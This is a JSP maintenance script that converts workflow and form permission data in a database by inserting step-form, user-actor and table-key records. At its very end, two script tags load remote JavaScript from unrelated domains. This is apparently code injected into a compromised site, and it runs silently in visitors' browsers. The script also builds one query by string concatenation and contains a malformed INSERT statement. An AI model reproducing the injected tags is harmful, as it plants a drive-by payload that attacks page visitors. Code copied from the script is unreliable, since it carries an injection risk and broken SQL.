<%@ page import="java.io.FileOutputStream" %>
<%@ page import="java.io.PrintStream" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.DriverManager" %>
<%@ page import="java.sql.ResultSet" %>
<%@ page import="java.sql.ResultSetMetaData" %>
<%@ page import="java.sql.Statement" %>
<%@ page import="java.sql.Types" %>
<%@ page import="java.util.Calendar" %>
<%@ page import="java.util.Hashtable" %>
<%@ page import="com.dcivision.framework.*" %>

<%
 out.println("######################### Conversion Begin ############################<br>");
 
 boolean isConversionForm = true;
 boolean isConversionEveryone = true;
 
%>

<%!
  
  public void insertStepFormRecord(
        Connection conn,
        int ID,
        int workflowStepID,
        int formRecordID,
        int formPageID,
        int formSectionID,
        int formElementID,
        String permission,
        int creatorID,
        String createDate,
        int updaterID,
        String updateDate
        
    ){
    java.sql.PreparedStatement stat = null;
    ResultSet rs = null;
    StringBuffer sqlStat = new StringBuffer();    
    
    sqlStat.append(" INSERT INTO   MTM_WF_STEP_FORM_RECORD ");
    sqlStat.append(" (ID, WORKFLOW_STEP_ID, FORM_RECORD_ID, FORM_PAGE_ID, FORM_SECTION_ID, FORM_ELEMENT_ID, PERMISSION, MANDATORY, RECORD_STATUS, UPDATE_COUNT, CREATOR_ID, CREATE_DATE, UPDATER_ID, UPDATE_DATE) ");
    sqlStat.append(" VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) ");
    
    try{
      stat = conn.prepareStatement(sqlStat.toString());  
      stat.setInt(1, ID);  
      stat.setInt(2, workflowStepID);  
      stat.setInt(3, formRecordID);
      if (formPageID== -1) {
        stat.setNull(4, java.sql.Types.VARCHAR);
      } else {  
        stat.setInt(4, formPageID); 
      } 
      if (formSectionID==-1) {
        stat.setNull(5, java.sql.Types.VARCHAR);
      } else {  
        stat.setInt(5, formSectionID); 
      } 
      if (formElementID==-1) {
        stat.setNull(6, java.sql.Types.VARCHAR);
      } else {  
        stat.setInt(6, formElementID); 
      } 
     
      stat.setString(7, permission);  
      stat.setString(8, "Y");  
      stat.setString(9, "A"); 
      stat.setInt(10, 1); 
      stat.setInt(11, creatorID); 
      stat.setString(12, createDate); 
      stat.setInt(13, updaterID);
      stat.setString(14, updateDate);        
      
      rs = stat.executeQuery();
      System.out.println("## Inser succeed ##<br>");
      rs.close();
      stat.close();
    } catch(Exception ex){
      System.out.println(ex.toString());
      rs = null;
      stat = null;
    }
  }
  
  
  public void insertRecord(
         Connection conn,
         String formSectionIDStr,
         int stepID,
         int ID,
         String permission,
         int creatorID,
         String createDate,
         int updaterID,
         String updateDate
  ){
    Statement stat3 = null;
    ResultSet rs3 = null;
    StringBuffer sqlStat3 = new StringBuffer(); 
    sqlStat3.append(" SELECT A.ID AS FORM_RECORD_ID, B.ID AS FORM_PAGE_ID, C.ID AS FORM_SECTION_ID, ");
    sqlStat3.append(" C.SUB_SECTION ");

    sqlStat3.append(" FROM FORM_RECORD A, FORM_PAGE B, FORM_SECTION C, MTM_FORM_PAGE_FORM_SECTION D ");
    sqlStat3.append(" WHERE A.ID = B.FORM_RECORD_ID ");
    sqlStat3.append(" AND B.ID = D.PAGE_ID ");
    sqlStat3.append(" AND D.SECTION_ID = C.ID ");
    sqlStat3.append(" AND A.RECORD_STATUS = B.RECORD_STATUS ");
    sqlStat3.append(" AND A.RECORD_STATUS = C.RECORD_STATUS ");
    sqlStat3.append(" AND A.RECORD_STATUS = D.RECORD_STATUS ");
    //sqlStat3.append(" AND C.SUB_SECTION = 'Y' ");
    sqlStat3.append(" AND C.ID = " + formSectionIDStr );
    
    try{  
        int formRecordID = -1;
        int formPageID = -1;
        int formSectionID = -1;
       
        stat3 = conn.createStatement(); 
        rs3 =  stat3.executeQuery(sqlStat3.toString()); 
        
        if(rs3.next()){
          System.out.println("F:P:S::  "+rs3.getInt("FORM_RECORD_ID") +
              "    : "+rs3.getInt("FORM_PAGE_ID") +
              "    : "+rs3.getString("FORM_SECTION_ID") + "<br>");
          formRecordID = rs3.getInt("FORM_RECORD_ID");
          formPageID = rs3.getInt("FORM_PAGE_ID");
          formSectionID = rs3.getInt("FORM_SECTION_ID");
        
          
           System.out.println("####################### Insert Mtm_WF_Step_Form_Record Table #####################<br>");      
           insertStepFormRecord(
             conn,
             ID,
             stepID,
             formRecordID,
             formPageID,
             formSectionID,
             -1,
             permission,
             creatorID,
             createDate,
             updaterID,
             updateDate
           );  
          
        }
        rs3.close(); 
        stat3.close();
    } catch(Exception ex){
      rs3 = null;
      stat3 = null;
      System.out.println(ex.toString());
    }
  }
  
  
  public void insertUserActor(
        Connection conn,
        int ID,
        int workflowStepID,        
        String actionType,
        int creatorID,
        String createDate,
        int updaterID,
        String updateDate
        
    ){
    java.sql.PreparedStatement stat = null;
    ResultSet rs = null;
    StringBuffer sqlStat = new StringBuffer();
        
    sqlStat.append(" INSERT INTO   MTM_WF_STEP_USER_ACTOR ");
    sqlStat.append(" (ID, WORKFLOW_STEP_ID, ACTOR_TYPE, ACTOR_ID, PERMISSION, ACTION_TYPE, RECORD_STATUS, UPDATE_COUNT, CREATOR_ID, CREATE_DATE, UPDATER_ID, UPDATE_DATE) ");
    sqlStat.append(" VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) ");
    
    try{
      stat = conn.prepareStatement(sqlStat.toString());  
      stat.setInt(1, ID);  
      stat.setInt(2, workflowStepID);  
      stat.setString(3, "Z"); 
      stat.setInt(4, 0);      
      stat.setString(5, "R");       
      stat.setString(6, actionType);        
      stat.setString(7, "A"); 
      stat.setInt(8, 1); 
      stat.setInt(9, creatorID); 
      stat.setString(10, createDate); 
      stat.setInt(11, updaterID);
      stat.setString(12, updateDate);        
      
      rs = stat.executeQuery();
      System.out.println("## Inser succeed ##<br>");
      rs.close();
      stat.close();
    } catch(Exception ex){
      System.out.println(ex.toString());
      rs = null;
      stat = null;
    }
  }
  
  //Update Form_Submission Table
  public void updateFormSubmission(
        Connection conn,
        int ID,
        int workflowRecordID,                
        int trackID        
    ){
    java.sql.PreparedStatement stat = null;
    ResultSet rs = null;
    StringBuffer sqlStat = new StringBuffer();
        
    sqlStat.append(" UPDATE FORM_SUBMISSION ");
    sqlStat.append(" SET WORKFLOW_RECORD_ID=?, TRACK_ID=? ");
    sqlStat.append(" WHERE ID=? ");
    
    try{
      stat = conn.prepareStatement(sqlStat.toString());  
      stat.setInt(1, workflowRecordID);  
      stat.setInt(2, trackID);  
      stat.setInt(3, ID);
      
      rs = stat.executeQuery();
      System.out.println("## Update Form_Submission succeed ##<br>");
      rs.close();
      stat.close();
    } catch(Exception ex){
      System.out.println(ex.toString());
      rs = null;
      stat = null;
    }
  }
  
%>



<%
System.out.println("============================ Start =========================");
  String author = null;
  String srcPath = null;
  String driverStr = null;
  String dbConnStr = null;
  String dbUsername = null;
  String dbPassword = null;
  
  Connection conn = null;
  String sqlStat = null;
  Statement stat = null;
  ResultSet rs = null;
  ResultSet rs3 = null;
  ResultSetMetaData rsmd = null;
  int ID = 0;
try{
    // Load properties in the "src" directory.
/*    java.util.Properties props = new java.util.Properties();   
    
    String path = new FormRecord().getClass().getProtectionDomain().getCodeSource().getLocation().toString().substring(6);
    out.println("Path:"+path+"<br>");    
    path = path.substring(0,path.indexOf("com"));
    if (!path.endsWith("/")) {
      path += "/";
    }
    path += "generate.properties";
    java.io.FileInputStream fis = new java.io.FileInputStream(new java.io.File(path));
    props.load(fis);

    author = props.getProperty("author");
    srcPath = props.getProperty("srcPath");
    driverStr = props.getProperty("driverStr");
    dbConnStr = props.getProperty("dbConnStr");
    dbUsername = props.getProperty("dbUsername");
    dbPassword = props.getProperty("dbPassword");
*/
//===================================

    //Class.forName(driverStr);
    //conn = DriverManager.getConnection(dbConnStr, dbUsername, dbPassword);
    
    conn = DataSourceFactory.getConnection();  
out.println("####################### Create Connection #####################<br>");
out.println("####################### Get All Maint Section #####################<br>");

    //check MTM_WF_STEP_FORM_RECORD
    stat = conn.createStatement();    
    
    rs = stat.executeQuery(" SELECT COUNT(*) AS COUNT FROM MTM_WF_STEP_FORM_RECORD ");
    if(rs.next() && rs.getInt("COUNT") > 0){
      isConversionForm = false;
    }    

    StringBuffer sqlStat1 = new StringBuffer();
    
    sqlStat1.append(" SELECT  ");
    sqlStat1.append(" A.ID AS FORM_RECORD_ID, D.ID AS PAGE_ID, E.SECTION_ID, F.SUB_SECTION,  ");
    sqlStat1.append(" B.WORKFLOW_RECORD_ID, C.ID AS STEP_ID, C.STEP_SEQ, C.RECORD_STATUS,  ");
    sqlStat1.append(" C.CREATOR_ID, C.CREATE_DATE, C.UPDATER_ID, C.UPDATE_DATE ");

    sqlStat1.append(" FROM FORM_RECORD A, MTM_WF_RECORD_OBJECT_LINK B, WORKFLOW_STEP C, ");
    sqlStat1.append("      FORM_PAGE D, MTM_FORM_PAGE_FORM_SECTION E, FORM_SECTION F ");

    sqlStat1.append(" WHERE A.ID = B.OBJECT_ID ");
    sqlStat1.append(" AND B.WORKFLOW_RECORD_ID = C.WORKFLOW_RECORD_ID ");
    sqlStat1.append(" AND A.ID = D.FORM_RECORD_ID ");
    sqlStat1.append(" AND D.ID = E.PAGE_ID ");
    sqlStat1.append(" AND E.SECTION_ID = F.ID ");
    sqlStat1.append(" AND A.RECORD_STATUS = B.RECORD_STATUS ");
    sqlStat1.append(" AND A.RECORD_STATUS = C.RECORD_STATUS ");
    sqlStat1.append(" AND A.RECORD_STATUS = D.RECORD_STATUS ");
    sqlStat1.append(" AND A.RECORD_STATUS = E.RECORD_STATUS ");
    sqlStat1.append(" AND A.RECORD_STATUS = F.RECORD_STATUS ");
    sqlStat1.append(" AND B.OBJECT_TYPE ='M' ");
    sqlStat1.append(" AND A.RECORD_STATUS = 'A' ");
    sqlStat1.append(" AND C.STEP_SEQ = 1 ");
    sqlStat1.append(" AND F.SUB_SECTION = 'N' ");
    sqlStat1.append(" ORDER BY A.ID ");

    stat = conn.createStatement();    
    if (isConversionForm ) {
      rs = stat.executeQuery(sqlStat1.toString());
    }
    while(!Utility.isEmpty(rs) && rs.next()){
      ID ++;
      out.println(rs.getInt("FORM_RECORD_ID") +
           "    : "+rs.getInt("PAGE_ID") + 
           "    : "+rs.getInt("SECTION_ID") +
           "    : "+rs.getInt("WORKFLOW_RECORD_ID") +
           "    : "+rs.getInt("STEP_ID") +
           "    : "+rs.getInt("CREATOR_ID") +
           "    : "+rs.getString("CREATE_DATE") +
           "    : "+rs.getInt("UPDATER_ID") +
           "    : "+rs.getString("UPDATE_DATE") + "<br>");
           
out.println("####################### Insert Mtm_WF_Step_Form_Record Table #####################<br>");      
           
           insertStepFormRecord(
             conn,
             ID,
             rs.getInt("STEP_ID"),
             rs.getInt("FORM_RECORD_ID"),
             rs.getInt("PAGE_ID"),
             rs.getInt("SECTION_ID"),
             -1,
             "C",
             rs.getInt("CREATOR_ID"),
             rs.getString("CREATE_DATE"),
             rs.getInt("UPDATER_ID"),
             rs.getString("UPDATE_DATE")
           );
    }


out.println("####################### Get All Binding Section #####################<br>");
    StringBuffer sqlStat2 = new StringBuffer();
    
    sqlStat2.append(" SELECT A.ID, A.FORM_SECTION_ID, ");
    sqlStat2.append(" A.RECORD_STATUS,  ");
    sqlStat2.append(" A.CREATOR_ID, A.CREATE_DATE, A.UPDATER_ID, A.UPDATE_DATE ");
    
    sqlStat2.append(" FROM WORKFLOW_STEP A ");
    
    sqlStat2.append(" WHERE A.RECORD_STATUS = 'A' ");
    sqlStat2.append(" AND FORM_SECTION_ID IS NOT NULL ");
    sqlStat2.append(" AND FORM_SECTION_ID <> '0|0' ");
    
    if (isConversionForm ) {
      rs = stat.executeQuery(sqlStat2.toString());
    }  
    while( !Utility.isEmpty(rs) && rs.next()){
      int formRecordID = -1;
      int formPageID = -1;
      int formSectionID = -1;
      String formSectStr = "";
      
      out.println(rs.getInt("ID") +
           "    : "+rs.getString("FORM_SECTION_ID") + 
           "    : "+rs.getInt("CREATOR_ID") +
           "    : "+rs.getString("CREATE_DATE") +
           "    : "+rs.getInt("UPDATER_ID") +
           "    : "+rs.getString("UPDATE_DATE") + "<br>");
     
      formSectStr = rs.getString("FORM_SECTION_ID");
      
      String changeSecIDs = formSectStr.substring(0,formSectStr.indexOf("|"));
      String readSecIDs = formSectStr.substring(formSectStr.indexOf("|")+1); 
      String[] changeIDArr = changeSecIDs.split(",");
      String[] readIDArr = readSecIDs.split(",");
      
      for(int i=0; i<changeIDArr.length; i++){     
        System.out.println("change:"+changeIDArr[i]);
        if(!"0".equals(changeIDArr[i])){
          ID ++;
          insertRecord(
            conn,
            changeIDArr[i],
            rs.getInt("ID"),
            ID,
            "C",
            rs.getInt("CREATOR_ID"),
            rs.getString("CREATE_DATE"),
            rs.getInt("UPDATER_ID"),
            rs.getString("UPDATE_DATE")
          );  
        }
      }   
      
      for(int i=0; i<readIDArr.length; i++){     
        System.out.println("read:"+readIDArr[i]);
        if(!"0".equals(readIDArr[i])){
          ID ++;          
          insertRecord(
            conn,
            readIDArr[i],
            rs.getInt("ID"),
            ID,
            "R",
            rs.getInt("CREATOR_ID"),
            rs.getString("CREATE_DATE"),
            rs.getInt("UPDATER_ID"),
            rs.getString("UPDATE_DATE")
          );  
        }
      } 
      
    }

    //recode the ID into Sys_Table_Key
    StringBuffer sqlStat4 = new StringBuffer();
    sqlStat4.append(" INSERT INTO SYS_TABLE_KEY (TABLE_NAME, TABLE_KEY_MAX) VALUES (?, ?)  ");
    
    java.sql.PreparedStatement stat4 = conn.prepareStatement(sqlStat4.toString());  
    stat4.setString(1, "MTM_WF_STEP_FORM_RECORD");  
    stat4.setInt(2, ID ++);  
    if (isConversionForm ) {
      stat4.executeQuery();
    }
    stat4.close();
    
    out.println("==========insert the erveryone [read] into Mtm_Wf_Step_User_Actor table==============<br>");
//insert the erveryone [read] into Mtm_Wf_Step_User_Actor table    
   
  //check MTM_WF_STEP_FORM_RECORD
  stat = conn.createStatement();    
    
  rs = stat.executeQuery(" SELECT COUNT(*) AS COUNT FROM MTM_WF_STEP_USER_ACTOR WHERE ACTOR_TYPE = 'Z' ");
  if(rs.next() && rs.getInt("COUNT") > 0){
    isConversionEveryone = false;
  }     
    
    
  //get the ID value 
  int userActorID = 0;
  StringBuffer sqlStat5 = new StringBuffer();
  sqlStat5.append(" SELECT TABLE_KEY_MAX FROM SYS_TABLE_KEY WHERE TABLE_NAME = 'MTM_WF_STEP_USER_ACTOR'"); 
  
  rs = stat.executeQuery(sqlStat5.toString());
   
  if(rs.next()){
    userActorID = rs.getInt("TABLE_KEY_MAX") + 1;
  }
   
  sqlStat5 = new StringBuffer();
  sqlStat5.append(" SELECT A.ID, A.ACTION_TYPE, A.RECORD_STATUS, A.UPDATE_COUNT, A.CREATOR_ID, A.CREATE_DATE, A.UPDATER_ID, A.UPDATE_DATE ");
  sqlStat5.append(" FROM WORKFLOW_STEP A ");
  sqlStat5.append(" WHERE A.RECORD_STATUS = 'A' AND ACTION_TYPE <> 'E' ");
     
  if(isConversionEveryone) {   
    rs = stat.executeQuery(sqlStat5.toString());
  }
  while( !Utility.isEmpty(rs) && rs.next()){    
    userActorID ++;
    insertUserActor(
      conn,      
      userActorID,
      rs.getInt("ID"),
      "E",
      rs.getInt("CREATOR_ID"),
      rs.getString("CREATE_DATE"),
      rs.getInt("UPDATER_ID"),
      rs.getString("UPDATE_DATE")
    );      
  }    
  
  out.println("============= Update Sys_Table_Key Table ==============<br>");
  //Update Sys_Table_Key
  
  sqlStat5 = new StringBuffer();
  sqlStat5.append(" SELECT * FROM SYS_TABLE_KEY WHERE TABLE_NAME = 'MTM_WF_STEP_USER_ACTOR' ");
  rs = stat.executeQuery(sqlStat5.toString());
  
  sqlStat5 = new StringBuffer();
  if(rs.next()){
    sqlStat5.append(" UPDATE SYS_TABLE_KEY SET TABLE_KEY_MAX = ?  WHERE TABLE_NAME = ?  ");
  } else {
    sqlStat5.append(" INSERT INTO SYS_TABLE_KEY (TABLE_KEY_MAX, WHERE TABLE_NAME) VALUES(?, ?)  ");
  }  
      
  stat4 = conn.prepareStatement(sqlStat5.toString());  
  stat4.setInt(1, userActorID++);  
  stat4.setString(2, "MTM_WF_STEP_USER_ACTOR");  
  if(isConversionEveryone) {   
    stat4.executeQuery();
  }
  stat4.close();
  
  
  //============================================
  // * get the workflow record ID & track ID
  //============================================
  sqlStat5 = new StringBuffer();
  sqlStat5.append(" SELECT A.TRACK_ID, C.WORKFLOW_RECORD_ID, D.ID, D.FORM_RECORD_ID,D.TRACK_ID, D.WORKFLOW_RECORD_ID ");
  sqlStat5.append(" FROM MTM_WF_PROGRESS_SYSTEM_OBJECT A, WORKFLOW_PROGRESS B, WORKFLOW_STEP C, FORM_SUBMISSION D ");
  sqlStat5.append(" WHERE D.RECORD_STATUS = 'A' ");
  sqlStat5.append(" AND A.WORKFLOW_PROGRESS_ID = B.ID ");
  sqlStat5.append(" AND B.WORKFLOW_STEP_ID = C.ID ");
  sqlStat5.append(" AND A.OBJECT_ID = D.ID ");
  sqlStat5.append(" AND A.BEAN_CLASS_NAME = 'com.dcivision.form.bean.FormSubmission' ");
  sqlStat5.append(" AND D.TRACK_ID  IS  NULL ");
  //sqlStat5.append(" AND D.STATUS <> 'P' ");
     
  rs = stat.executeQuery(sqlStat5.toString());
  
  while( rs.next()){        
    updateFormSubmission(
      conn,    
      rs.getInt("ID"),  
      rs.getInt("WORKFLOW_RECORD_ID"),
      rs.getInt("TRACK_ID")    
    );      
  }    
  
  
  
  rs.close(); 
  conn.commit();       
} catch(Exception ex){
  System.out.println(ex.toString());

} finally {
  stat.close();   
  conn.close();
}
System.out.println("============================ End =========================");



%>

<%
 out.println("######################### Conversion End   ############################<br>");
%>


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>